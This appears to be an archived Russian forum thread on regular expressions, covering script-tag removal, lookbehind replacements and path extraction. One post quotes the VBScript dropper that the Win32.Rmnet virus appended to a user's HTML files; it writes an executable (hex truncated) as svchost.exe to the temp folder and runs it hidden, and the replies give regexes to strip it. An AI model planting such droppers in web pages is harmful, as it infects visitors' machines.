Ru-Board.club
← Вернуться в раздел «Прикладное программирование»

» Регулярные выражения

Автор: pka
Дата сообщения: 18.02.2013 12:18

Цитата:
чтобы удалить все javascript


Код: $txt =~ s/<script.*?<\/script>//gs;
Автор: Xom9I4oK
Дата сообщения: 22.05.2014 00:09
В тексте есть слова такого вида (все цифры могут меняться): keys9[1] == 8
Как найти такие слова я разобрался: keys\d*?\[\d\]\s+(=)(=)\s\d
Но я не понял как мне заменить последнюю цифру (после ==) на 1
Автор: Daniyar91
Дата сообщения: 22.05.2014 07:55
Заменяеш на 1, то что найдется с использованием такого шаблона
Код: (?<=keys\d+\[\d+\]\s*==\s*)\d+
Автор: 0pupentium
Дата сообщения: 06.10.2015 15:18
Здравствуйте.
Помогите пожалуйста в следующем тексте найти путь после "Anno5.exe=":

Код: [Settings]
Anno5.exe=C:\Program Files (x86)\Ubisoft\ANNO 2070\Anno5.exe
AnnoCookie.exe=C:\Program Files (x86)\Ubisoft\AnnoCookie.exe
Автор: Daniyar91
Дата сообщения: 06.10.2015 18:56
(?<=Anno5\.exe=).+

и ты не правильно ищешь для AnnoCookie.exe, потому-что [^=] исключает знак =, а в пути он может быть, а * -- ноль и более повторений, но путь минимум 4 символа (но только название файла уже 14), т.е. никак не 0.

читай про просмотр в перед\назад, и должно стать ясно, как делать.
Автор: 0pupentium
Дата сообщения: 06.10.2015 19:12
Daniyar91
Действительно, знак = я не учел.
Спасибо за помощь и совет, теперь все работает.
Автор: crotoff
Дата сообщения: 21.01.2016 21:55
Салют! Вирус win32.rmnet дописал в конец всех htm скрипт вида

Код: SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A50000...000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
Автор: hErAx
Дата сообщения: 21.01.2016 22:12
Для этого даже не нужны регулярки. Откройте все файлы в AkelPad. Выделите нужный фрагмент текста и выполните замену. Всё очень просто.

Добавлено:
[more=картина] [/more]
Автор: crotoff
Дата сообщения: 21.01.2016 22:19
hErAx
каким образом их открыть в AkelPad? их же тысячи
Автор: regist123
Дата сообщения: 21.01.2016 22:20
crotoff 22:55 21-01-2016
Цитата:
Или может удобнее всё, что после </html> подлежит удалению

Как вариант:
Найти
Код: \<\/html\>[\s\S]*
Автор: hErAx
Дата сообщения: 21.01.2016 22:36

Цитата:
их же тысячи
не потянет
Автор: crotoff
Дата сообщения: 21.01.2016 22:44
hErAx
в моей версии AkelPad нету замены во всех файлах
Автор: regist123
Дата сообщения: 21.01.2016 23:40
crotoff предложенная мной регулярка не подошла?
Автор: crotoff
Дата сообщения: 22.01.2016 00:36
regist123
вобщем я менял через uvFilesCorrector, у него оказывается свой синтаксис, подошло такое выражение:
</html>.{2,} - любой символ после </html> более 2 раз
Автор: V0lt_r
Дата сообщения: 09.05.2016 10:26
Есть текст:
Код: #EXTM3U

#EXTINF:123, Sample artist - Sample title
Sample.mp3

#EXTINF:321,Example Artist - Example title
Greatest Hits\Example.ogg

Страницы: 12

Предыдущая тема: Пожалуйста перепишите этот текст из ObjectPaskal (Paskal) в


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.